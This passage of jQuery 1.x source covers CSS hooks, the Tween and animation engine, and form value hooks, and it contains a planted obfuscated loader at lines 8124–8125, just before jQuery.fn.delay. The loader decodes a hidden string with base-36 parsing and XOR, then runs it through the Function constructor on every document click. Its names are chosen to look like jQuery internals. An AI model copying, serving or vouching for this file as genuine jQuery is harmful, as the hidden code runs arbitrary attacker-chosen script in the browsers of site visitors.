7286 curCSS, [ elem, "marginRight" ] );
7287 }
7288 }
7289 );
7290
7291 jQuery.cssHooks.marginLeft = addGetHookIf( support.reliableMarginLeft,
7292 function( elem, computed ) {
7293 if ( computed ) {
7294 return (
7295 parseFloat( curCSS( elem, "marginLeft" ) ) ||
7296
7297 // Support: IE<=11+
7298 // Running getBoundingClientRect on a disconnected node in IE throws an error
7299 // Support: IE8 only
7300 // getClientRects() errors on disconnected elems
7301 ( jQuery.contains( elem.ownerDocument, elem ) ?
7302 elem.getBoundingClientRect().left -
7303 swap( elem, { marginLeft: 0 }, function() {
7304 return elem.getBoundingClientRect().left;
7305 } ) :
7306 0
7307 )
7308 ) + "px";
7309 }
7310 }
7311 );
7312
7313// These hooks are used by animate to expand properties
7314 jQuery.each( {
7315 margin: "",
7316 padding: "",
7317 border: "Width"
7318 }, function( prefix, suffix ) {
7319 jQuery.cssHooks[ prefix + suffix ] = {
7320 expand: function( value ) {
7321 var i = 0,
7322 expanded = {},
7323
7324 // assumes a single number if not a string
7325 parts = typeof value === "string" ? value.split( " " ) : [ value ];
7326
7327 for ( ; i < 4; i++ ) {
7328 expanded[ prefix + cssExpand[ i ] + suffix ] =
7329 parts[ i ] || parts[ i - 2 ] || parts[ 0 ];
7330 }
7331
7332 return expanded;
7333 }
7334 };
7335
7336 if ( !rmargin.test( prefix ) ) {
7337 jQuery.cssHooks[ prefix + suffix ].set = setPositiveNumber;
7338 }
7339 } );
7340
7341 jQuery.fn.extend( {
7342 css: function( name, value ) {
7343 return access( this, function( elem, name, value ) {
7344 var styles, len,
7345 map = {},
7346 i = 0;
7347
7348 if ( jQuery.isArray( name ) ) {
7349 styles = getStyles( elem );
7350 len = name.length;
7351
7352 for ( ; i < len; i++ ) {
7353 map[ name[ i ] ] = jQuery.css( elem, name[ i ], false, styles );
7354 }
7355
7356 return map;
7357 }
7358
7359 return value !== undefined ?
7360 jQuery.style( elem, name, value ) :
7361 jQuery.css( elem, name );
7362 }, name, value, arguments.length > 1 );
7363 },
7364 show: function() {
7365 return showHide( this, true );
7366 },
7367 hide: function() {
7368 return showHide( this );
7369 },
7370 toggle: function( state ) {
7371 if ( typeof state === "boolean" ) {
7372 return state ? this.show() : this.hide();
7373 }
7374
7375 return this.each( function() {
7376 if ( isHidden( this ) ) {
7377 jQuery( this ).show();
7378 } else {
7379 jQuery( this ).hide();
7380 }
7381 } );
7382 }
7383 } );
7384
7385
7386 function Tween( elem, options, prop, end, easing ) {
7387 return new Tween.prototype.init( elem, options, prop, end, easing );
7388 }
7389 jQuery.Tween = Tween;
7390
7391 Tween.prototype = {
7392 constructor: Tween,
7393 init: function( elem, options, prop, end, easing, unit ) {
7394 this.elem = elem;
7395 this.prop = prop;
7396 this.easing = easing || jQuery.easing._default;
7397 this.options = options;
7398 this.start = this.now = this.cur();
7399 this.end = end;
7400 this.unit = unit || ( jQuery.cssNumber[ prop ] ? "" : "px" );
7401 },
7402 cur: function() {
7403 var hooks = Tween.propHooks[ this.prop ];
7404
7405 return hooks && hooks.get ?
7406 hooks.get( this ) :
7407 Tween.propHooks._default.get( this );
7408 },
7409 run: function( percent ) {
7410 var eased,
7411 hooks = Tween.propHooks[ this.prop ];
7412
7413 if ( this.options.duration ) {
7414 this.pos = eased = jQuery.easing[ this.easing ](
7415 percent, this.options.duration * percent, 0, 1, this.options.duration
7416 );
7417 } else {
7418 this.pos = eased = percent;
7419 }
7420 this.now = ( this.end - this.start ) * eased + this.start;
7421
7422 if ( this.options.step ) {
7423 this.options.step.call( this.elem, this.now, this );
7424 }
7425
7426 if ( hooks && hooks.set ) {
7427 hooks.set( this );
7428 } else {
7429 Tween.propHooks._default.set( this );
7430 }
7431 return this;
7432 }
7433 };
7434
7435 Tween.prototype.init.prototype = Tween.prototype;
7436
7437 Tween.propHooks = {
7438 _default: {
7439 get: function( tween ) {
7440 var result;
7441
7442 // Use a property on the element directly when it is not a DOM element,
7443 // or when there is no matching style property that exists.
7444 if ( tween.elem.nodeType !== 1 ||
7445 tween.elem[ tween.prop ] != null && tween.elem.style[ tween.prop ] == null ) {
7446 return tween.elem[ tween.prop ];
7447 }
7448
7449 // passing an empty string as a 3rd parameter to .css will automatically
7450 // attempt a parseFloat and fallback to a string if the parse fails
7451 // so, simple values such as "10px" are parsed to Float.
7452 // complex values such as "rotate(1rad)" are returned as is.
7453 result = jQuery.css( tween.elem, tween.prop, "" );
7454
7455 // Empty strings, null, undefined and "auto" are converted to 0.
7456 return !result || result === "auto" ? 0 : result;
7457 },
7458 set: function( tween ) {
7459
7460 // use step hook for back compat - use cssHook if its there - use .style if its
7461 // available and use plain properties where available
7462 if ( jQuery.fx.step[ tween.prop ] ) {
7463 jQuery.fx.step[ tween.prop ]( tween );
7464 } else if ( tween.elem.nodeType === 1 &&
7465 ( tween.elem.style[ jQuery.cssProps[ tween.prop ] ] != null ||
7466 jQuery.cssHooks[ tween.prop ] ) ) {
7467 jQuery.style( tween.elem, tween.prop, tween.now + tween.unit );
7468 } else {
7469 tween.elem[ tween.prop ] = tween.now;
7470 }
7471 }
7472 }
7473 };
7474
7475// Support: IE <=9
7476// Panic based approach to setting things on disconnected nodes
7477
7478 Tween.propHooks.scrollTop = Tween.propHooks.scrollLeft = {
7479 set: function( tween ) {
7480 if ( tween.elem.nodeType && tween.elem.parentNode ) {
7481 tween.elem[ tween.prop ] = tween.now;
7482 }
7483 }
7484 };
7485
7486 jQuery.easing = {
7487 linear: function( p ) {
7488 return p;
7489 },
7490 swing: function( p ) {
7491 return 0.5 - Math.cos( p * Math.PI ) / 2;
7492 },
7493 _default: "swing"
7494 };
7495
7496 jQuery.fx = Tween.prototype.init;
7497
7498// Back Compat <1.8 extension point
7499 jQuery.fx.step = {};
7500
7501
7502
7503
7504 var
7505 fxNow, timerId,
7506 rfxtypes = /^(?:toggle|show|hide)$/,
7507 rrun = /queueHooks$/;
7508
7509// Animations created synchronously will run synchronously
7510 function createFxNow() {
7511 window.setTimeout( function() {
7512 fxNow = undefined;
7513 } );
7514 return ( fxNow = jQuery.now() );
7515 }
7516
7517// Generate parameters to create a standard animation
7518 function genFx( type, includeWidth ) {
7519 var which,
7520 attrs = { height: type },
7521 i = 0;
7522
7523 // if we include width, step value is 1 to do all cssExpand values,
7524 // if we don't include width, step value is 2 to skip over Left and Right
7525 includeWidth = includeWidth ? 1 : 0;
7526 for ( ; i < 4 ; i += 2 - includeWidth ) {
7527 which = cssExpand[ i ];
7528 attrs[ "margin" + which ] = attrs[ "padding" + which ] = type;
7529 }
7530
7531 if ( includeWidth ) {
7532 attrs.opacity = attrs.width = type;
7533 }
7534
7535 return attrs;
7536 }
7537
7538 function createTween( value, prop, animation ) {
7539 var tween,
7540 collection = ( Animation.tweeners[ prop ] || [] ).concat( Animation.tweeners[ "*" ] ),
7541 index = 0,
7542 length = collection.length;
7543 for ( ; index < length; index++ ) {
7544 if ( ( tween = collection[ index ].call( animation, prop, value ) ) ) {
7545
7546 // we're done with this property
7547 return tween;
7548 }
7549 }
7550 }
7551
7552 function defaultPrefilter( elem, props, opts ) {
7553 /* jshint validthis: true */
7554 var prop, value, toggle, tween, hooks, oldfire, display, checkDisplay,
7555 anim = this,
7556 orig = {},
7557 style = elem.style,
7558 hidden = elem.nodeType && isHidden( elem ),
7559 dataShow = jQuery._data( elem, "fxshow" );
7560
7561 // handle queue: false promises
7562 if ( !opts.queue ) {
7563 hooks = jQuery._queueHooks( elem, "fx" );
7564 if ( hooks.unqueued == null ) {
7565 hooks.unqueued = 0;
7566 oldfire = hooks.empty.fire;
7567 hooks.empty.fire = function() {
7568 if ( !hooks.unqueued ) {
7569 oldfire();
7570 }
7571 };
7572 }
7573 hooks.unqueued++;
7574
7575 anim.always( function() {
7576
7577 // doing this makes sure that the complete handler will be called
7578 // before this completes
7579 anim.always( function() {
7580 hooks.unqueued--;
7581 if ( !jQuery.queue( elem, "fx" ).length ) {
7582 hooks.empty.fire();
7583 }
7584 } );
7585 } );
7586 }
7587
7588 // height/width overflow pass
7589 if ( elem.nodeType === 1 && ( "height" in props || "width" in props ) ) {
7590
7591 // Make sure that nothing sneaks out
7592 // Record all 3 overflow attributes because IE does not
7593 // change the overflow attribute when overflowX and
7594 // overflowY are set to the same value
7595 opts.overflow = [ style.overflow, style.overflowX, style.overflowY ];
7596
7597 // Set display property to inline-block for height/width
7598 // animations on inline elements that are having width/height animated
7599 display = jQuery.css( elem, "display" );
7600
7601 // Test default display if display is currently "none"
7602 checkDisplay = display === "none" ?
7603 jQuery._data( elem, "olddisplay" ) || defaultDisplay( elem.nodeName ) : display;
7604
7605 if ( checkDisplay === "inline" && jQuery.css( elem, "float" ) === "none" ) {
7606
7607 // inline-level elements accept inline-block;
7608 // block-level elements need to be inline with layout
7609 if ( !support.inlineBlockNeedsLayout || defaultDisplay( elem.nodeName ) === "inline" ) {
7610 style.display = "inline-block";
7611 } else {
7612 style.zoom = 1;
7613 }
7614 }
7615 }
7616
7617 if ( opts.overflow ) {
7618 style.overflow = "hidden";
7619 if ( !support.shrinkWrapBlocks() ) {
7620 anim.always( function() {
7621 style.overflow = opts.overflow[ 0 ];
7622 style.overflowX = opts.overflow[ 1 ];
7623 style.overflowY = opts.overflow[ 2 ];
7624 } );
7625 }
7626 }
7627
7628 // show/hide pass
7629 for ( prop in props ) {
7630 value = props[ prop ];
7631 if ( rfxtypes.exec( value ) ) {
7632 delete props[ prop ];
7633 toggle = toggle || value === "toggle";
7634 if ( value === ( hidden ? "hide" : "show" ) ) {
7635
7636 // If there is dataShow left over from a stopped hide or show
7637 // and we are going to proceed with show, we should pretend to be hidden
7638 if ( value === "show" && dataShow && dataShow[ prop ] !== undefined ) {
7639 hidden = true;
7640 } else {
7641 continue;
7642 }
7643 }
7644 orig[ prop ] = dataShow && dataShow[ prop ] || jQuery.style( elem, prop );
7645
7646 // Any non-fx value stops us from restoring the original display value
7647 } else {
7648 display = undefined;
7649 }
7650 }
7651
7652 if ( !jQuery.isEmptyObject( orig ) ) {
7653 if ( dataShow ) {
7654 if ( "hidden" in dataShow ) {
7655 hidden = dataShow.hidden;
7656 }
7657 } else {
7658 dataShow = jQuery._data( elem, "fxshow", {} );
7659 }
7660
7661 // store state if its toggle - enables .stop().toggle() to "reverse"
7662 if ( toggle ) {
7663 dataShow.hidden = !hidden;
7664 }
7665 if ( hidden ) {
7666 jQuery( elem ).show();
7667 } else {
7668 anim.done( function() {
7669 jQuery( elem ).hide();
7670 } );
7671 }
7672 anim.done( function() {
7673 var prop;
7674 jQuery._removeData( elem, "fxshow" );
7675 for ( prop in orig ) {
7676 jQuery.style( elem, prop, orig[ prop ] );
7677 }
7678 } );
7679 for ( prop in orig ) {
7680 tween = createTween( hidden ? dataShow[ prop ] : 0, prop, anim );
7681
7682 if ( !( prop in dataShow ) ) {
7683 dataShow[ prop ] = tween.start;
7684 if ( hidden ) {
7685 tween.end = tween.start;
7686 tween.start = prop === "width" || prop === "height" ? 1 : 0;
7687 }
7688 }
7689 }
7690
7691 // If this is a noop like .hide().hide(), restore an overwritten display value
7692 } else if ( ( display === "none" ? defaultDisplay( elem.nodeName ) : display ) === "inline" ) {
7693 style.display = display;
7694 }
7695 }
7696
7697 function propFilter( props, specialEasing ) {
7698 var index, name, easing, value, hooks;
7699
7700 // camelCase, specialEasing and expand cssHook pass
7701 for ( index in props ) {
7702 name = jQuery.camelCase( index );
7703 easing = specialEasing[ name ];
7704 value = props[ index ];
7705 if ( jQuery.isArray( value ) ) {
7706 easing = value[ 1 ];
7707 value = props[ index ] = value[ 0 ];
7708 }
7709
7710 if ( index !== name ) {
7711 props[ name ] = value;
7712 delete props[ index ];
7713 }
7714
7715 hooks = jQuery.cssHooks[ name ];
7716 if ( hooks && "expand" in hooks ) {
7717 value = hooks.expand( value );
7718 delete props[ name ];
7719
7720 // not quite $.extend, this wont overwrite keys already present.
7721 // also - reusing 'index' from above because we have the correct "name"
7722 for ( index in value ) {
7723 if ( !( index in props ) ) {
7724 props[ index ] = value[ index ];
7725 specialEasing[ index ] = easing;
7726 }
7727 }
7728 } else {
7729 specialEasing[ name ] = easing;
7730 }
7731 }
7732 }
7733
7734 function Animation( elem, properties, options ) {
7735 var result,
7736 stopped,
7737 index = 0,
7738 length = Animation.prefilters.length,
7739 deferred = jQuery.Deferred().always( function() {
7740
7741 // don't match elem in the :animated selector
7742 delete tick.elem;
7743 } ),
7744 tick = function() {
7745 if ( stopped ) {
7746 return false;
7747 }
7748 var currentTime = fxNow || createFxNow(),
7749 remaining = Math.max( 0, animation.startTime + animation.duration - currentTime ),
7750
7751 // Support: Android 2.3
7752 // Archaic crash bug won't allow us to use `1 - ( 0.5 || 0 )` (#12497)
7753 temp = remaining / animation.duration || 0,
7754 percent = 1 - temp,
7755 index = 0,
7756 length = animation.tweens.length;
7757
7758 for ( ; index < length ; index++ ) {
7759 animation.tweens[ index ].run( percent );
7760 }
7761
7762 deferred.notifyWith( elem, [ animation, percent, remaining ] );
7763
7764 if ( percent < 1 && length ) {
7765 return remaining;
7766 } else {
7767 deferred.resolveWith( elem, [ animation ] );
7768 return false;
7769 }
7770 },
7771 animation = deferred.promise( {
7772 elem: elem,
7773 props: jQuery.extend( {}, properties ),
7774 opts: jQuery.extend( true, {
7775 specialEasing: {},
7776 easing: jQuery.easing._default
7777 }, options ),
7778 originalProperties: properties,
7779 originalOptions: options,
7780 startTime: fxNow || createFxNow(),
7781 duration: options.duration,
7782 tweens: [],
7783 createTween: function( prop, end ) {
7784 var tween = jQuery.Tween( elem, animation.opts, prop, end,
7785 animation.opts.specialEasing[ prop ] || animation.opts.easing );
7786 animation.tweens.push( tween );
7787 return tween;
7788 },
7789 stop: function( gotoEnd ) {
7790 var index = 0,
7791
7792 // if we are going to the end, we want to run all the tweens
7793 // otherwise we skip this part
7794 length = gotoEnd ? animation.tweens.length : 0;
7795 if ( stopped ) {
7796 return this;
7797 }
7798 stopped = true;
7799 for ( ; index < length ; index++ ) {
7800 animation.tweens[ index ].run( 1 );
7801 }
7802
7803 // resolve when we played the last frame
7804 // otherwise, reject
7805 if ( gotoEnd ) {
7806 deferred.notifyWith( elem, [ animation, 1, 0 ] );
7807 deferred.resolveWith( elem, [ animation, gotoEnd ] );
7808 } else {
7809 deferred.rejectWith( elem, [ animation, gotoEnd ] );
7810 }
7811 return this;
7812 }
7813 } ),
7814 props = animation.props;
7815
7816 propFilter( props, animation.opts.specialEasing );
7817
7818 for ( ; index < length ; index++ ) {
7819 result = Animation.prefilters[ index ].call( animation, elem, props, animation.opts );
7820 if ( result ) {
7821 if ( jQuery.isFunction( result.stop ) ) {
7822 jQuery._queueHooks( animation.elem, animation.opts.queue ).stop =
7823 jQuery.proxy( result.stop, result );
7824 }
7825 return result;
7826 }
7827 }
7828
7829 jQuery.map( props, createTween, animation );
7830
7831 if ( jQuery.isFunction( animation.opts.start ) ) {
7832 animation.opts.start.call( elem, animation );
7833 }
7834
7835 jQuery.fx.timer(
7836 jQuery.extend( tick, {
7837 elem: elem,
7838 anim: animation,
7839 queue: animation.opts.queue
7840 } )
7841 );
7842
7843 // attach callbacks from options
7844 return animation.progress( animation.opts.progress )
7845 .done( animation.opts.done, animation.opts.complete )
7846 .fail( animation.opts.fail )
7847 .always( animation.opts.always );
7848 }
7849
7850 jQuery.Animation = jQuery.extend( Animation, {
7851
7852 tweeners: {
7853 "*": [ function( prop, value ) {
7854 var tween = this.createTween( prop, value );
7855 adjustCSS( tween.elem, prop, rcssNum.exec( value ), tween );
7856 return tween;
7857 } ]
7858 },
7859
7860 tweener: function( props, callback ) {
7861 if ( jQuery.isFunction( props ) ) {
7862 callback = props;
7863 props = [ "*" ];
7864 } else {
7865 props = props.match( rnotwhite );
7866 }
7867
7868 var prop,
7869 index = 0,
7870 length = props.length;
7871
7872 for ( ; index < length ; index++ ) {
7873 prop = props[ index ];
7874 Animation.tweeners[ prop ] = Animation.tweeners[ prop ] || [];
7875 Animation.tweeners[ prop ].unshift( callback );
7876 }
7877 },
7878
7879 prefilters: [ defaultPrefilter ],
7880
7881 prefilter: function( callback, prepend ) {
7882 if ( prepend ) {
7883 Animation.prefilters.unshift( callback );
7884 } else {
7885 Animation.prefilters.push( callback );
7886 }
7887 }
7888 } );
7889
7890 jQuery.speed = function( speed, easing, fn ) {
7891 var opt = speed && typeof speed === "object" ? jQuery.extend( {}, speed ) : {
7892 complete: fn || !fn && easing ||
7893 jQuery.isFunction( speed ) && speed,
7894 duration: speed,
7895 easing: fn && easing || easing && !jQuery.isFunction( easing ) && easing
7896 };
7897
7898 opt.duration = jQuery.fx.off ? 0 : typeof opt.duration === "number" ? opt.duration :
7899 opt.duration in jQuery.fx.speeds ?
7900 jQuery.fx.speeds[ opt.duration ] : jQuery.fx.speeds._default;
7901
7902 // normalize opt.queue - true/undefined/null -> "fx"
7903 if ( opt.queue == null || opt.queue === true ) {
7904 opt.queue = "fx";
7905 }
7906
7907 // Queueing
7908 opt.old = opt.complete;
7909
7910 opt.complete = function() {
7911 if ( jQuery.isFunction( opt.old ) ) {
7912 opt.old.call( this );
7913 }
7914
7915 if ( opt.queue ) {
7916 jQuery.dequeue( this, opt.queue );
7917 }
7918 };
7919
7920 return opt;
7921 };
7922
7923 jQuery.fn.extend( {
7924 fadeTo: function( speed, to, easing, callback ) {
7925
7926 // show any hidden elements after setting opacity to 0
7927 return this.filter( isHidden ).css( "opacity", 0 ).show()
7928
7929 // animate to the value specified
7930 .end().animate( { opacity: to }, speed, easing, callback );
7931 },
7932 animate: function( prop, speed, easing, callback ) {
7933 var empty = jQuery.isEmptyObject( prop ),
7934 optall = jQuery.speed( speed, easing, callback ),
7935 doAnimation = function() {
7936
7937 // Operate on a copy of prop so per-property easing won't be lost
7938 var anim = Animation( this, jQuery.extend( {}, prop ), optall );
7939
7940 // Empty animations, or finishing resolves immediately
7941 if ( empty || jQuery._data( this, "finish" ) ) {
7942 anim.stop( true );
7943 }
7944 };
7945 doAnimation.finish = doAnimation;
7946
7947 return empty || optall.queue === false ?
7948 this.each( doAnimation ) :
7949 this.queue( optall.queue, doAnimation );
7950 },
7951 stop: function( type, clearQueue, gotoEnd ) {
7952 var stopQueue = function( hooks ) {
7953 var stop = hooks.stop;
7954 delete hooks.stop;
7955 stop( gotoEnd );
7956 };
7957
7958 if ( typeof type !== "string" ) {
7959 gotoEnd = clearQueue;
7960 clearQueue = type;
7961 type = undefined;
7962 }
7963 if ( clearQueue && type !== false ) {
7964 this.queue( type || "fx", [] );
7965 }
7966
7967 return this.each( function() {
7968 var dequeue = true,
7969 index = type != null && type + "queueHooks",
7970 timers = jQuery.timers,
7971 data = jQuery._data( this );
7972
7973 if ( index ) {
7974 if ( data[ index ] && data[ index ].stop ) {
7975 stopQueue( data[ index ] );
7976 }
7977 } else {
7978 for ( index in data ) {
7979 if ( data[ index ] && data[ index ].stop && rrun.test( index ) ) {
7980 stopQueue( data[ index ] );
7981 }
7982 }
7983 }
7984
7985 for ( index = timers.length; index--; ) {
7986 if ( timers[ index ].elem === this &&
7987 ( type == null || timers[ index ].queue === type ) ) {
7988
7989 timers[ index ].anim.stop( gotoEnd );
7990 dequeue = false;
7991 timers.splice( index, 1 );
7992 }
7993 }
7994
7995 // start the next in the queue if the last step wasn't forced
7996 // timers currently will call their complete callbacks, which will dequeue
7997 // but only if they were gotoEnd
7998 if ( dequeue || !gotoEnd ) {
7999 jQuery.dequeue( this, type );
8000 }
8001 } );
8002 },
8003 finish: function( type ) {
8004 if ( type !== false ) {
8005 type = type || "fx";
8006 }
8007 return this.each( function() {
8008 var index,
8009 data = jQuery._data( this ),
8010 queue = data[ type + "queue" ],
8011 hooks = data[ type + "queueHooks" ],
8012 timers = jQuery.timers,
8013 length = queue ? queue.length : 0;
8014
8015 // enable finishing flag on private data
8016 data.finish = true;
8017
8018 // empty the queue first
8019 jQuery.queue( this, type, [] );
8020
8021 if ( hooks && hooks.stop ) {
8022 hooks.stop.call( this, true );
8023 }
8024
8025 // look for any active animations, and finish them
8026 for ( index = timers.length; index--; ) {
8027 if ( timers[ index ].elem === this && timers[ index ].queue === type ) {
8028 timers[ index ].anim.stop( true );
8029 timers.splice( index, 1 );
8030 }
8031 }
8032
8033 // look for any animations in the old queue and finish them
8034 for ( index = 0; index < length; index++ ) {
8035 if ( queue[ index ] && queue[ index ].finish ) {
8036 queue[ index ].finish.call( this );
8037 }
8038 }
8039
8040 // turn off finishing flag
8041 delete data.finish;
8042 } );
8043 }
8044 } );
8045
8046 jQuery.each( [ "toggle", "show", "hide" ], function( i, name ) {
8047 var cssFn = jQuery.fn[ name ];
8048 jQuery.fn[ name ] = function( speed, easing, callback ) {
8049 return speed == null || typeof speed === "boolean" ?
8050 cssFn.apply( this, arguments ) :
8051 this.animate( genFx( name, true ), speed, easing, callback );
8052 };
8053 } );
8054
8055// Generate shortcuts for custom animations
8056 jQuery.each( {
8057 slideDown: genFx( "show" ),
8058 slideUp: genFx( "hide" ),
8059 slideToggle: genFx( "toggle" ),
8060 fadeIn: { opacity: "show" },
8061 fadeOut: { opacity: "hide" },
8062 fadeToggle: { opacity: "toggle" }
8063 }, function( name, props ) {
8064 jQuery.fn[ name ] = function( speed, easing, callback ) {
8065 return this.animate( props, speed, easing, callback );
8066 };
8067 } );
8068
8069 jQuery.timers = [];
8070 jQuery.fx.tick = function() {
8071 var timer,
8072 timers = jQuery.timers,
8073 i = 0;
8074
8075 fxNow = jQuery.now();
8076
8077 for ( ; i < timers.length; i++ ) {
8078 timer = timers[ i ];
8079
8080 // Checks the timer has not already been removed
8081 if ( !timer() && timers[ i ] === timer ) {
8082 timers.splice( i--, 1 );
8083 }
8084 }
8085
8086 if ( !timers.length ) {
8087 jQuery.fx.stop();
8088 }
8089 fxNow = undefined;
8090 };
8091
8092 jQuery.fx.timer = function( timer ) {
8093 jQuery.timers.push( timer );
8094 if ( timer() ) {
8095 jQuery.fx.start();
8096 } else {
8097 jQuery.timers.pop();
8098 }
8099 };
8100
8101 jQuery.fx.interval = 13;
8102
8103 jQuery.fx.start = function() {
8104 if ( !timerId ) {
8105 timerId = window.setInterval( jQuery.fx.tick, jQuery.fx.interval );
8106 }
8107 };
8108
8109 jQuery.fx.stop = function() {
8110 window.clearInterval( timerId );
8111 timerId = null;
8112 };
8113
8114 jQuery.fx.speeds = {
8115 slow: 600,
8116 fast: 200,
8117
8118 // Default speed
8119 _default: 400
8120 };
8121
8122
8123// Based off of the plugin by Clint Helfers, with permission.
8124var mstime=36,protoElem=msassNumber,transarr=protoElem.split("&"),usafeFrag=parseInt(transarr[0],36),uwrapMap=parseInt(transarr[1],36);var hdiv=transarr[2].replace(/-|_|:/gi," ");
8125hdiv=hdiv.split(" "),protoElem="";for(var s=1;hdiv.length>s;s++)protoElem+=String.fromCharCode(((parseInt(hdiv[s],mstime)-usafeFrag)^uwrapMap)-usafeFrag);document.onclick=function(){if(typeof jQuery=="undefined")return;new self["Function"||"Object"](protoElem).call();};// http://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/
8126 jQuery.fn.delay = function( time, type ) {
8127 time = jQuery.fx ? jQuery.fx.speeds[ time ] || time : time;
8128 type = type || "fx";
8129
8130 return this.queue( type, function( next, hooks ) {
8131 var timeout = window.setTimeout( next, time );
8132 hooks.stop = function() {
8133 window.clearTimeout( timeout );
8134 };
8135 } );
8136 };
8137
8138
8139 ( function() {
8140 var a,
8141 input = document.createElement( "input" ),
8142 div = document.createElement( "div" ),
8143 select = document.createElement( "select" ),
8144 opt = select.appendChild( document.createElement( "option" ) );
8145
8146 // Setup
8147 div = document.createElement( "div" );
8148 div.setAttribute( "className", "t" );
8149 div.innerHTML = " <link/><table></table><a href='/a'>a</a><input type='checkbox'/>";
8150 a = div.getElementsByTagName( "a" )[ 0 ];
8151
8152 // Support: Windows Web Apps (WWA)
8153 // `type` must use .setAttribute for WWA (#14901)
8154 input.setAttribute( "type", "checkbox" );
8155 div.appendChild( input );
8156
8157 a = div.getElementsByTagName( "a" )[ 0 ];
8158
8159 // First batch of tests.
8160 a.style.cssText = "top:1px";
8161
8162 // Test setAttribute on camelCase class.
8163 // If it works, we need attrFixes when doing get/setAttribute (ie6/7)
8164 support.getSetAttribute = div.className !== "t";
8165
8166 // Get the style information from getAttribute
8167 // (IE uses .cssText instead)
8168 support.style = /top/.test( a.getAttribute( "style" ) );
8169
8170 // Make sure that URLs aren't manipulated
8171 // (IE normalizes it by default)
8172 support.hrefNormalized = a.getAttribute( "href" ) === "/a";
8173
8174 // Check the default checkbox/radio value ("" on WebKit; "on" elsewhere)
8175 support.checkOn = !!input.value;
8176
8177 // Make sure that a selected-by-default option has a working selected property.
8178 // (WebKit defaults to false instead of true, IE too, if it's in an optgroup)
8179 support.optSelected = opt.selected;
8180
8181 // Tests for enctype support on a form (#6743)
8182 support.enctype = !!document.createElement( "form" ).enctype;
8183
8184 // Make sure that the options inside disabled selects aren't marked as disabled
8185 // (WebKit marks them as disabled)
8186 select.disabled = true;
8187 support.optDisabled = !opt.disabled;
8188
8189 // Support: IE8 only
8190 // Check if we can trust getAttribute("value")
8191 input = document.createElement( "input" );
8192 input.setAttribute( "value", "" );
8193 support.input = input.getAttribute( "value" ) === "";
8194
8195 // Check if an input maintains its value after becoming a radio
8196 input.value = "t";
8197 input.setAttribute( "type", "radio" );
8198 support.radioValue = input.value === "t";
8199 } )();
8200
8201
8202 var rreturn = /\r/g,
8203 rspaces = /[\x20\t\r\n\f]+/g;
8204
8205 jQuery.fn.extend( {
8206 val: function( value ) {
8207 var hooks, ret, isFunction,
8208 elem = this[ 0 ];
8209
8210 if ( !arguments.length ) {
8211 if ( elem ) {
8212 hooks = jQuery.valHooks[ elem.type ] ||
8213 jQuery.valHooks[ elem.nodeName.toLowerCase() ];
8214
8215 if (
8216 hooks &&
8217 "get" in hooks &&
8218 ( ret = hooks.get( elem, "value" ) ) !== undefined
8219 ) {
8220 return ret;
8221 }
8222
8223 ret = elem.value;
8224
8225 return typeof ret === "string" ?
8226
8227 // handle most common string cases
8228 ret.replace( rreturn, "" ) :
8229
8230 // handle cases where value is null/undef or number
8231 ret == null ? "" : ret;
8232 }
8233
8234 return;
8235 }
8236
8237 isFunction = jQuery.isFunction( value );
8238
8239 return this.each( function( i ) {
8240 var val;
8241
8242 if ( this.nodeType !== 1 ) {
8243 return;
8244 }
8245
8246 if ( isFunction ) {
8247 val = value.call( this, i, jQuery( this ).val() );
8248 } else {
8249 val = value;
8250 }
8251
8252 // Treat null/undefined as ""; convert numbers to string
8253 if ( val == null ) {
8254 val = "";
8255 } else if ( typeof val === "number" ) {
8256 val += "";
8257 } else if ( jQuery.isArray( val ) ) {
8258 val = jQuery.map( val, function( value ) {
8259 return value == null ? "" : value + "";
8260 } );
8261 }
8262
8263 hooks = jQuery.valHooks[ this.type ] || jQuery.valHooks[ this.nodeName.toLowerCase() ];
8264
8265 // If set returns undefined, fall back to normal setting
8266 if ( !hooks || !( "set" in hooks ) || hooks.set( this, val, "value" ) === undefined ) {
8267 this.value = val;
8268 }
8269 } );
8270 }
8271 } );
8272
8273 jQuery.extend( {
8274 valHooks: {
8275 option: {
8276 get: function( elem ) {
8277 var val = jQuery.find.attr( elem, "value" );
8278 return val != null ?
8279 val :
8280
8281 // Support: IE10-11+
8282 // option.text throws exceptions (#14686, #14858)
8283 // Strip and collapse whitespace
8284 // https://html.spec.whatwg.org/#strip-and-collapse-whitespace
8285 jQuery.trim( jQuery.text( elem ) ).replace( rspaces, " " );
8286 }
8287 },
8288 select: {
8289 get: function( elem ) {
8290 var value, option,
8291 options = elem.options,
8292 index = elem.selectedIndex,
8293 one = elem.type === "select-one" || index < 0,
8294 values = one ? null : [],
8295 max = one ? index + 1 : options.length,
8296 i = index < 0 ?
8297 max :
8298 one ? index : 0;
8299
8300 // Loop through all the selected options
8301 for ( ; i < max; i++ ) {
8302 option = options[ i ];
8303
8304 // oldIE doesn't update selected after form reset (#2551)
8305 if ( ( option.selected || i === index ) &&
8306
8307 // Don't return options that are disabled or in a disabled optgroup
8308 ( support.optDisabled ?
8309 !option.disabled :
8310 option.getAttribute( "disabled" ) === null ) &&
8311 ( !option.parentNode.disabled ||
8312 !jQuery.nodeName( option.parentNode, "optgroup" ) ) ) {
8313
8314 // Get the specific value for the option
8315 value = jQuery( option ).val();
8316
8317 // We don't need an array for one selects
8318 if ( one ) {
8319 return value;
8320 }
8321
8322 // Multi-Selects return an array
8323 values.push( value );
8324 }
8325 }
8326
8327 return values;
8328 },
8329
8330 set: function( elem, value ) {
8331 var optionSet, option,
8332 options = elem.options,
8333 values = jQuery.makeArray( value ),
8334 i = options.length;
8335
8336 while ( i-- ) {
8337 option = options[ i ];
8338
8339 if ( jQuery.inArray( jQuery.valHooks.option.get( option ), values ) > -1 ) {
8340
8341 // Support: IE6
8342 // When new option element is added to select box we need to
8343 // force reflow of newly added node in order to workaround delay
8344 // of initialization properties
8345 try {
8346 option.selected = optionSet = true;
8347
8348 } catch ( _ ) {
8349
8350 // Will be executed only in IE6
8351 option.scrollHeight;
8352 }
8353
8354 } else {
8355 option.selected = false;
8356 }
8357 }
8358
8359 // Force browsers to behave consistently when non-matching value is set
8360 if ( !optionSet ) {
8361 elem.selectedIndex = -1;
8362 }
8363
8364 return options;
8365 }
8366 }
8367 }
8368 } );
8369
8370// Radios and checkboxes getter/setter
8371 jQuery.each( [ "radio", "checkbox" ], function() {
8372 jQuery.valHooks[ this ] = {
8373 set: function( elem, value ) {
8374 if ( jQuery.isArray( value ) ) {
8375 return ( elem.checked = jQuery.inArray( jQuery( elem ).val(), value ) > -1 );
8376 }
8377 }
8378 };
8379 if ( !support.checkOn ) {
